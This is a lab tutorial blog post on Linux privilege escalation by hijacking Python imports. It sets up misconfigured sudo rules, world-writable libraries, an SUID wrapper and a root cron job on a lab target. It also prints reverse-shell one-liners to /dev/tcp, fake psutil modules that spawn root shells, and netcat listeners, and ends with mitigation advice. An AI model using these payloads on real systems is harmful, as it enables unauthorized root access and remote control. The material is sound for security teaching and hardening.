July 11, 2026
Linux Privilege Escalation: Python Library Hijacking
Python trusts its import path. Whoever controls that path controls what code runs as root.
By Isha Sangpal
12 min read
Lab: Kali Linux (192.168.88.138) attacker | Ubuntu (192.168.88.139) target
What Is Python Library Hijacking?
When Python encounters an import statement, it does not know where the library lives. It searches a list of directories in order, from highest to lowest priority, and loads the first file it finds with a matching name.
If an attacker can:
- Write to any directory that appears before the real library in that search path, or
- Modify the library file itself, or
- Control the
PYTHONPATHenvironment variable
Then any import in a privileged Python script will load the attacker's malicious code instead of the real library — and execute it with the script owner's privileges.
No CVE, no exploit. Just Python doing exactly what it was designed to do.
How Python Resolves Imports: sys.path
Every time Python processes import something, it walks through sys.path in order and loads the first something.py it finds.
Check sys.path on your target:
python3 -c 'import sys; print("\n".join(sys.path))'python3 -c 'import sys; print("\n".join(sys.path))'sys.path is a Python list. "\n".join() converts that list into a single string with each path on its own line, making it human-readable. Without .join(), it would print as a messy Python list with brackets and commas.
Typical output:
← empty string = current working directory (ALWAYS first)
/usr/lib/python310.zip
/usr/lib/python3.10
/usr/lib/python3.10/lib-dynload
/usr/local/lib/python3.10/dist-packages
/usr/lib/python3/dist-packages← empty string = current working directory (ALWAYS first)
/usr/lib/python310.zip
/usr/lib/python3.10
/usr/lib/python3.10/lib-dynload
/usr/local/lib/python3.10/dist-packages
/usr/lib/python3/dist-packagesPriority order (top = checked first):
Priority → Path → Notes
1 → `` (empty string)Current working directory — always checked first
2 → PYTHONPATH → entriesEnvironment variable, if set
3 → /usr/lib/python3.x → Standard library
4 → /usr/lib/python3.x/lib-dynload → C extension modules
5 → /usr/local/lib/python3.x/dist-packages → pip-installed packages
6 → /usr/lib/python3/dist-packages → System-wide packages
Why this matters for privilege escalation: If a root-owned Python script runs import requests, Python checks every directory in sys.path from top to bottom. If you can place a requests.py anywhere above the real requests library in that list, Python loads yours instead — as root.
Three Core Attack Conditions
Any one of these three conditions makes a target exploitable:
ConditionDescriptionAThe script imports a library whose file is writable by your userBA higher-priority path in sys.path is writable (place a fake library there)Csudo allows SETENV — you can set PYTHONPATH to a directory you control
Lab Setup
On Ubuntu (as root):
# 1. Create the vulnerable Python script
cat > /opt/system_check.py << 'EOF'
import psutil
import os
def check_memory():
mem = psutil.virtual_memory()
print(f"Total RAM: {mem.total}")
print(f"Available: {mem.available}")
check_memory()
EOF
# 2. Lock down the script so only root can modify it
chmod 755 /opt/system_check.py
# 3. Create the standard user (Press Enter through all the prompts)
adduser lowprivuser
# 4. Add the exact sudo misconfiguration (Run this ONLY ONCE)
echo 'lowprivuser ALL=(root) NOPASSWD: /usr/bin/python3 /opt/system_check.py' >> /etc/sudoers
# Verify
sudo -l -U lowprivuser# 1. Create the vulnerable Python script
cat > /opt/system_check.py << 'EOF'
import psutil
import os
def check_memory():
mem = psutil.virtual_memory()
print(f"Total RAM: {mem.total}")
print(f"Available: {mem.available}")
check_memory()
EOF
# 2. Lock down the script so only root can modify it
chmod 755 /opt/system_check.py
# 3. Create the standard user (Press Enter through all the prompts)
adduser lowprivuser
# 4. Add the exact sudo misconfiguration (Run this ONLY ONCE)
echo 'lowprivuser ALL=(root) NOPASSWD: /usr/bin/python3 /opt/system_check.py' >> /etc/sudoers
# Verify
sudo -l -U lowprivuser
SSH into the target as lowprivuser
ssh lowprivuser@192.168.88.139
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/system_check.pyssh lowprivuser@192.168.88.139
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/system_check.py
Enumeration: Finding the Attack Surface
Step 1: Discover privileged Python scripts
# Check sudoers for Python entries
sudo -l | grep python
# Find SUID Python scripts
find / -name "*.py" -perm -4000 -type f 2>/dev/null
# Find Python scripts run by root cron jobs
cat /etc/crontab | grep python
ls -la /etc/cron.d/# Check sudoers for Python entries
sudo -l | grep python
# Find SUID Python scripts
find / -name "*.py" -perm -4000 -type f 2>/dev/null
# Find Python scripts run by root cron jobs
cat /etc/crontab | grep python
ls -la /etc/cron.d/
Step 2: Read the target script and find its imports
cat /opt/system_check.py
# import psutil <-- this is the target librarycat /opt/system_check.py
# import psutil <-- this is the target library
Step 3: Find where the real library lives
python3 -c 'import psutil; print(psutil.__file__)'
# Location: /usr/local/lib/python3.10/dist-packages
# OR use locate
locate psutil.pypython3 -c 'import psutil; print(psutil.__file__)'
# Location: /usr/local/lib/python3.10/dist-packages
# OR use locate
locate psutil.py
Location is the key field — it tells you exactly which directory Python installed the library into. This is the path you need to check for write permissions and to understand where it sits in sys.path priority order.
locate searches a cached file database — fast but may be outdated if files were recently added. The python3 -c 'import psutil; print(psutil.__file__)' method is always accurate because Python itself resolves the path using the same import logic that will run the exploit. Use the Python method when accuracy matters.
Step 4: Check sys.path and identify writable directories
python3 -c 'import sys; print("\n".join(sys.path))'python3 -c 'import sys; print("\n".join(sys.path))'
Automated check: find writable paths in sys.path
python3 -c '
import sys, os
for p in sys.path:
target = p if p else "."
if os.access(target, os.W_OK):
print("WRITABLE:", "CURRENT_DIRECTORY" if p == "" else p)
'python3 -c '
import sys, os
for p in sys.path:
target = p if p else "."
if os.access(target, os.W_OK):
print("WRITABLE:", "CURRENT_DIRECTORY" if p == "" else p)
'
Step 5: Check library file permissions
ls -la /usr/lib/python3/dist-packages/psutil/__init__.py
# -rwxrwxrwx = writable (vulnerable)
# -rwxr-xr-x = not writable (need a different method)ls -la /usr/lib/python3/dist-packages/psutil/__init__.py
# -rwxrwxrwx = writable (vulnerable)
# -rwxr-xr-x = not writable (need a different method)
Method 1: Overwrite a Writable Library File (Condition A)
When to use: The imported library file itself has world-writable permissions.
Lab setup (as root):
# Reinstall the package to get a clean, original file
apt-get install --reinstall python3-psutil
# Make the library world-writable (the misconfiguration)
chmod 777 /usr/lib/python3/dist-packages/psutil/__init__.py# Reinstall the package to get a clean, original file
apt-get install --reinstall python3-psutil
# Make the library world-writable (the misconfiguration)
chmod 777 /usr/lib/python3/dist-packages/psutil/__init__.pyStep 1: Find the exact function the script calls
cat /opt/system_check.py
# mem = psutil.virtual_memory() <-- calls virtual_memory()cat /opt/system_check.py
# mem = psutil.virtual_memory() <-- calls virtual_memory()
Step 2: Add a payload to the library
Open the real library file and inject your payload into the function the script calls:
# View the real function
grep -n "def virtual_memory" /usr/lib/python3/dist-packages/psutil/__init__.py# View the real function
grep -n "def virtual_memory" /usr/lib/python3/dist-packages/psutil/__init__.py
Inject at the top of the function:
# Add this line inside the virtual_memory() function:
import os; os.system('/bin/bash -p')# Add this line inside the virtual_memory() function:
import os; os.system('/bin/bash -p')Full injection:
# Use sed to inject a reverse shell one-liner at the start of the function
# 1. Output the modified code into a temporary file in /tmp
sed 's/def virtual_memory():/def virtual_memory():\n import os; os.system("bash -i >& \/dev\/tcp\/192.168.88.134\/443 0>&1")/' /usr/lib/python3/dist-packages/psutil/__init__.py > /tmp/payload_lib.py
# 2. Push the modified code directly into the vulnerable library file
cat /tmp/payload_lib.py > /usr/lib/python3/dist-packages/psutil/__init__.py# Use sed to inject a reverse shell one-liner at the start of the function
# 1. Output the modified code into a temporary file in /tmp
sed 's/def virtual_memory():/def virtual_memory():\n import os; os.system("bash -i >& \/dev\/tcp\/192.168.88.134\/443 0>&1")/' /usr/lib/python3/dist-packages/psutil/__init__.py > /tmp/payload_lib.py
# 2. Push the modified code directly into the vulnerable library file
cat /tmp/payload_lib.py > /usr/lib/python3/dist-packages/psutil/__init__.pysed -i → Edit file in-place (modify the actual file, not a copy)
's/PATTERN/REPLACEMENT/' → Substitute pattern with replacement
def virtual_memory(): → The pattern to find — the exact function definition line
\n import os... → Replacement: adds a new line with 4-space indent after the function definition
\/dev\/tcp\/... → Forward slashes inside sed must be escaped with \
Alternative: Simply open the file with
nano /path/to/library.pyand manually add the line. The sed command is shown for automation, but nano is more readable for a lab environment.
OR: Replace the entire function with a minimal stub:
def virtual_memory():
import os
os.system('/bin/bash -p')
# Return a dummy object so script doesn't crash before shell spawnsdef virtual_memory():
import os
os.system('/bin/bash -p')
# Return a dummy object so script doesn't crash before shell spawnsStep 3: Start listener on Kali
rlwrap nc -lvnp 443rlwrap nc -lvnp 443Step 4: Trigger the exploit
sudo /usr/bin/python3 /opt/system_check.pysudo /usr/bin/python3 /opt/system_check.py
Root shell arrives on Kali. The script imports psutil, which now contains your payload, executing it as root.
Why must the payload be inside the actual function? Python loads the library file but only executes function bodies when the function is called. If you put os.system() at the module's top level (outside a function), it runs on import. If inside the function, it runs when the script calls it. Either works — top-level is simpler but more obvious.
Method 2: Place a Fake Library in a Higher-Priority Path (Condition B)
When to use: The library file is not writable, but a directory earlier in sys.path is writable by your user.
Key insight: If sys.path has /tmp appearing before /usr/lib/python3.10, placing a psutil.py in /tmp causes Python to load yours first — your fake library shadows the real one.
Lab setup:
apt-get install --reinstall python3-psutil
# Add SETENV to the existing sudoers rule
sed -i 's/NOPASSWD:/SETENV: NOPASSWD:/' /etc/sudoers
# Verify the rule was updated
sudo -l -U lowprivuserapt-get install --reinstall python3-psutil
# Add SETENV to the existing sudoers rule
sed -i 's/NOPASSWD:/SETENV: NOPASSWD:/' /etc/sudoers
# Verify the rule was updated
sudo -l -U lowprivuser
Step 1: Confirm a higher-priority writable path exists
python3 -c 'import sys; print("\n".join(sys.path))'
# Look for entries before /usr/local/lib/python3.10/dist-packages
# that you can write to
ls -ld /usr/lib/python3.10/ # check directory permissionspython3 -c 'import sys; print("\n".join(sys.path))'
# Look for entries before /usr/local/lib/python3.10/dist-packages
# that you can write to
ls -ld /usr/lib/python3.10/ # check directory permissions
Step 2: Find what function the script calls
cat /opt/system_check.py
# psutil.virtual_memory()cat /opt/system_check.py
# psutil.virtual_memory()
Step 3: Create a malicious module matching the exact function signature
cat > psutil.py << 'EOF'
import os
def virtual_memory():
os.system('/bin/bash -p')
# We return a dummy value so the script doesn't crash
return True
EOFcat > psutil.py << 'EOF'
import os
def virtual_memory():
os.system('/bin/bash -p')
# We return a dummy value so the script doesn't crash
return True
EOF
Why must the function name and signature match exactly? If the script calls psutil.virtual_memory(), your fake module must define def virtual_memory(). If the name or argument count differs, Python raises an AttributeError and the script crashes before your payload runs.
Step 4: Set PYTHONPATH to your writable directory and run
# If you have SETENV permission in sudoers:
sudo PYTHONPATH=/home/lowprivuser /usr/bin/python3 /opt/system_check.py
# If /tmp already appears in sys.path before the real library:
sudo /usr/bin/python3 /opt/system_check.py# If you have SETENV permission in sudoers:
sudo PYTHONPATH=/home/lowprivuser /usr/bin/python3 /opt/system_check.py
# If /tmp already appears in sys.path before the real library:
sudo /usr/bin/python3 /opt/system_check.py
Verify root:
id
# uid=0(root) gid=0(root) groups=0(root)id
# uid=0(root) gid=0(root) groups=0(root)Note: why fake module must have exact function name?
# What happens if function name is wrong:
$ sudo /usr/bin/python3 /opt/system_check.py
AttributeError: module 'psutil' has no attribute 'virtual_memory'# What happens if function name is wrong:
$ sudo /usr/bin/python3 /opt/system_check.py
AttributeError: module 'psutil' has no attribute 'virtual_memory'Python loaded your fake module successfully but then tried to call virtual_memory() on it. Since your fake module didn't define that function, it throws AttributeError and the script crashes — no shell spawns. The function name in your fake module must exactly match what the script calls.
Method 3: PYTHONPATH Injection via SETENV (Condition C)
When to use: Your sudoers entry includes the SETENV keyword, allowing you to pass environment variables through sudo.
Lab setup:
# 1. Clean up old fake libraries so they don't interfere
rm -f /home/lowprivuser/psutil.py
rm -f /tmp/psutil.py
# 2. Re-write the sudoers rule to explicitly include SETENV
sed -i '/lowprivuser/d' /etc/sudoers
echo 'lowprivuser ALL=(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/system_check.py' >> /etc/sudoers
# 3. Verify the rule looks exactly like your blog draft
sudo -l -U lowprivuser
# should see SETENV: NOPASSWD: in the output# 1. Clean up old fake libraries so they don't interfere
rm -f /home/lowprivuser/psutil.py
rm -f /tmp/psutil.py
# 2. Re-write the sudoers rule to explicitly include SETENV
sed -i '/lowprivuser/d' /etc/sudoers
echo 'lowprivuser ALL=(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/system_check.py' >> /etc/sudoers
# 3. Verify the rule looks exactly like your blog draft
sudo -l -U lowprivuser
# should see SETENV: NOPASSWD: in the outputIdentifying the SETENV flag:
sudo -l
# (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/system_check.py
# ^^^^^^
# SETENV = you can pass environment variables to this commandsudo -l
# (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/system_check.py
# ^^^^^^
# SETENV = you can pass environment variables to this command
Why SETENV is dangerous: Normally, sudo strips environment variables before running a command (controlled by env_reset in sudoers). SETENV disables this stripping for the specified command, allowing you to inject PYTHONPATH and redirect where Python looks for modules.
(ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/system_check.py(ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/system_check.pyBy default, sudo strips all environment variables before running a command (env_reset in sudoers). This prevents attackers from passing dangerous variables like LD_PRELOAD or PYTHONPATH through sudo. The SETENV keyword disables this stripping for this specific command, allowing any environment variable to pass through. For a Python interpreter, PYTHONPATH is the most dangerous variable this unlocks.
Step 1: Find the imported module
cat /opt/system_check.py
# import psutilcat /opt/system_check.py
# import psutil
Step 2: Create a malicious psutil.py in a directory you control
cat > /tmp/psutil.py << 'EOF'
import os
def virtual_memory():
os.system('/bin/bash -p')
EOFcat > /tmp/psutil.py << 'EOF'
import os
def virtual_memory():
os.system('/bin/bash -p')
EOF
Step 3: Inject PYTHONPATH via SETENV and run
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /opt/system_check.pysudo PYTHONPATH=/tmp/ /usr/bin/python3 /opt/system_check.py
PYTHONPATH=/tmp/ prepends /tmp to Python's search path, making it the first directory checked. Your /tmp/psutil.py is found before the real psutil. Python loads it as root.
PYTHONPATH=/tmp/ placed before sudo sets an environment variable only for that one command. It doesn't permanently change your environment. The trailing / after /tmp is optional but makes it clear this is a directory path. When Python starts, it prepends this path to sys.path, making /tmp the first directory searched for any import.
Verify:
id
# uid=0(root) gid=0(root) groups=0(root)id
# uid=0(root) gid=0(root) groups=0(root)Method 4: Current Directory Hijacking (Condition B, Simplest)
When to use: The SUID Python script is executed from a directory you have write access to, and Python's sys.path starts with an empty string (current directory).
Why it works: The empty string "" at the start of sys.path means Python always checks the current working directory first, before any system library path.
The empty string "" at position 0 in sys.path represents the current working directory — wherever your shell is when you run Python. This is not a bug; it is intentional Python behaviour allowing scripts to import local helper modules. However, it becomes a vulnerability when a privileged script runs from a directory a low-priv user can write to, because any .py file in that directory shadows the real system library.
Lab setup:
# 1. Create the target directory and make it world-writable
mkdir -p /opt/scripts
chmod 777 /opt/scripts
# 2. Create the target Python script
cat > /opt/scripts/system_check.py << 'EOF'
import psutil
import os
def check_memory():
mem = psutil.virtual_memory()
print("Memory check complete.")
check_memory()
EOF
# 3. Create the C-wrapper that will run the Python script as root
cat > /opt/scripts/wrapper.c << 'EOF'
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/usr/bin/python3 /opt/scripts/system_check.py");
return 0;
}
EOF
# 4. Compile the wrapper and set the SUID bit on the COMPILED binary
gcc /opt/scripts/wrapper.c -o /opt/scripts/wrapper
chmod 4755 /opt/scripts/wrapper
# 5. Clean up the C source code (simulating a deployed app)
rm /opt/scripts/wrapper.c# 1. Create the target directory and make it world-writable
mkdir -p /opt/scripts
chmod 777 /opt/scripts
# 2. Create the target Python script
cat > /opt/scripts/system_check.py << 'EOF'
import psutil
import os
def check_memory():
mem = psutil.virtual_memory()
print("Memory check complete.")
check_memory()
EOF
# 3. Create the C-wrapper that will run the Python script as root
cat > /opt/scripts/wrapper.c << 'EOF'
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/usr/bin/python3 /opt/scripts/system_check.py");
return 0;
}
EOF
# 4. Compile the wrapper and set the SUID bit on the COMPILED binary
gcc /opt/scripts/wrapper.c -o /opt/scripts/wrapper
chmod 4755 /opt/scripts/wrapper
# 5. Clean up the C source code (simulating a deployed app)
rm /opt/scripts/wrapper.cThe trap is set. The /opt/scripts directory is world-writable, and the wrapper binary has the SUID bit.
Step 1: Find a SUID Python script
find / -name "*.py" -perm -4000 -type f 2>/dev/null
# /opt/scripts/system_check.pyfind / -name "*.py" -perm -4000 -type f 2>/dev/null
# /opt/scripts/system_check.py
Step 2: Check what it imports and which directory you're in
cat /opt/scripts/system_check.py
# import psutil
ls -la /opt/scripts/
# drwxrwxrwx = writable directorycat /opt/scripts/system_check.py
# import psutil
ls -la /opt/scripts/
# drwxrwxrwx = writable directory
Step 3: Create malicious module in the same directory
cat > /opt/scripts/psutil.py << 'EOF'
import os
def virtual_memory():
os.system('/bin/bash -p')
EOFcat > /opt/scripts/psutil.py << 'EOF'
import os
def virtual_memory():
os.system('/bin/bash -p')
EOF
Step 4: Run the SUID script from that directory
cd /opt/scripts/
# Trigger the SUID Wrapper
./wrapper
# Verify Root
idcd /opt/scripts/
# Trigger the SUID Wrapper
./wrapper
# Verify Root
id
Python finds psutil.py in the current directory before checking system paths. Root shell.
Method 5: Cron Job + Library Hijacking (No sudo required)
When to use: A root cron job runs a Python script that imports a library you can write to or shadow.
Lab setup:
# 1. Ensure the requests library is installed
apt-get install -y python3-requests
# 2. Create the automated monitoring script
cat > /opt/monitor.py << 'EOF'
import requests
print("Pinging internal server...")
EOF
# 3. Add the script to the system crontab to run every 1 minute as root
echo "* * * * * root /usr/bin/python3 /opt/monitor.py" >> /etc/crontab
# 4. Make the requests library world-writable (The vulnerability)
chmod 777 /usr/lib/python3/dist-packages/requests/__init__.py# 1. Ensure the requests library is installed
apt-get install -y python3-requests
# 2. Create the automated monitoring script
cat > /opt/monitor.py << 'EOF'
import requests
print("Pinging internal server...")
EOF
# 3. Add the script to the system crontab to run every 1 minute as root
echo "* * * * * root /usr/bin/python3 /opt/monitor.py" >> /etc/crontab
# 4. Make the requests library world-writable (The vulnerability)
chmod 777 /usr/lib/python3/dist-packages/requests/__init__.pyThe trap is now set. The system is silently running that script as root every 60 seconds.
Discover via pspy:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
# UID=0 PID=xxxx | python3 /opt/monitor.pywget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
# UID=0 PID=xxxx | python3 /opt/monitor.py
Check imports:
cat /opt/monitor.py
# import requestscat /opt/monitor.py
# import requestsFind the real library location:
python3 -c 'import requests; print(requests.__file__)'
# Output: /usr/lib/python3/dist-packages/requests/__init__.py
ls -la /usr/lib/python3/dist-packages/requests/__init__.py
# Output shows -rwxrwxrwx (World-writable!)python3 -c 'import requests; print(requests.__file__)'
# Output: /usr/lib/python3/dist-packages/requests/__init__.py
ls -la /usr/lib/python3/dist-packages/requests/__init__.py
# Output shows -rwxrwxrwx (World-writable!)
Start the listener:
rlwrap nc -lvnp 443
# Wait for cron to firerlwrap nc -lvnp 443
# Wait for cron to fireInject payload into the library:
# At the top of __init__.py, add:
import os; os.system('bash -i >& /dev/tcp/192.168.88.134/443 0>&1')
# or just enter the follwoing command:
echo 'import os; os.system("bash -c \"bash -i >& /dev/tcp/192.168.88.138/443 0>&1\"")' >> /usr/lib/python3/dist-packages/requests/__init__.py# At the top of __init__.py, add:
import os; os.system('bash -i >& /dev/tcp/192.168.88.134/443 0>&1')
# or just enter the follwoing command:
echo 'import os; os.system("bash -c \"bash -i >& /dev/tcp/192.168.88.138/443 0>&1\"")' >> /usr/lib/python3/dist-packages/requests/__init__.py
Verify:
Root shell arrives on the next cron tick. No sudo, no user interaction required.
Decision Tree
After finding privileged Python script and its imports:
Is the library file writable?
YES → Method 1 (overwrite library directly)
NO ↓
Is a higher-priority sys.path directory writable?
YES → Method 2 (place fake module in writable path)
NO ↓
Does sudo -l show SETENV?
YES → Method 3 (PYTHONPATH injection)
NO ↓
Is the script directory writable?
YES → Method 4 (current directory shadowing)
NO ↓
Is the script run by a root cron job?
YES → Method 5 (cron + library write)
NO → No viable path via this vectorAfter finding privileged Python script and its imports:
Is the library file writable?
YES → Method 1 (overwrite library directly)
NO ↓
Is a higher-priority sys.path directory writable?
YES → Method 2 (place fake module in writable path)
NO ↓
Does sudo -l show SETENV?
YES → Method 3 (PYTHONPATH injection)
NO ↓
Is the script directory writable?
YES → Method 4 (current directory shadowing)
NO ↓
Is the script run by a root cron job?
YES → Method 5 (cron + library write)
NO → No viable path via this vectorMitigation
- Never grant sudo on Python interpreters. A
python3 script.pysudo entry is nearly impossible to lock down because library resolution happens entirely at runtime. - Remove SETENV from all Python sudo entries.
SETENVon an interpreter grant is equivalent to giving the user full sudo access. Remove it entirely or replace the Python script with a compiled binary.
# Bad:
lowprivuser ALL=(root) NOPASSWD: SETENV: /usr/bin/python3 /opt/script.py
# Good:
lowprivuser ALL=(root) NOPASSWD: /usr/bin/python3 /opt/script.py
# Better: replace with compiled binary# Bad:
lowprivuser ALL=(root) NOPASSWD: SETENV: /usr/bin/python3 /opt/script.py
# Good:
lowprivuser ALL=(root) NOPASSWD: /usr/bin/python3 /opt/script.py
# Better: replace with compiled binary- Set correct permissions on library directories:
# Standard library files should be 644 or 755
chmod 644 /usr/local/lib/python3.10/dist-packages/psutil/__init__.py
chmod 755 /usr/local/lib/python3.10/dist-packages/# Standard library files should be 644 or 755
chmod 644 /usr/local/lib/python3.10/dist-packages/psutil/__init__.py
chmod 755 /usr/local/lib/python3.10/dist-packages/- Add
env_resetandsecure_pathto sudoers Defaults. These strip all environment variables (including PYTHONPATH) before running sudo commands:
Defaults env_reset
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"Defaults env_reset
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"- Use virtual environments for privileged scripts. A
venvisolates the library path, preventing system-wide library pollution. - Monitor library writes with auditd:
auditctl -w /usr/lib/python3 -p wa -k python_lib_write
auditctl -w /usr/local/lib/python3.10 -p wa -k python_lib_writeauditctl -w /usr/lib/python3 -p wa -k python_lib_write
auditctl -w /usr/local/lib/python3.10 -p wa -k python_lib_write- Run privileged Python scripts with
-Eflag to ignore the PYTHONPATH variable entirely:
# In sudoers, force the -E flag:
lowprivuser ALL=(root) NOPASSWD: /usr/bin/python3 -E /opt/script.py# In sudoers, force the -E flag:
lowprivuser ALL=(root) NOPASSWD: /usr/bin/python3 -E /opt/script.pyConclusion
Python library hijacking exploits the interpreter's own import resolution mechanism — no CVE, no patch available, no vulnerability in Python itself. The attack works because of misconfigurations in file permissions, sudo policies, or environment variable handling. Understanding sys.path priority, the SETENV flag in sudoers, and function signature matching turns what looks like a locked-down sudo rule into a full root shell.
Five methods are covered here: direct library overwrite, path priority hijacking, PYTHONPATH injection via SETENV, current directory shadowing, and cron-based exploitation. The investigation always starts the same way: find a privileged Python script, find its imports, find where those imports live, and find which part of the chain you can write to.
Special thanks to Nishchay Gaba for the guidance and support throughout.
Keep learning. Stay ethical.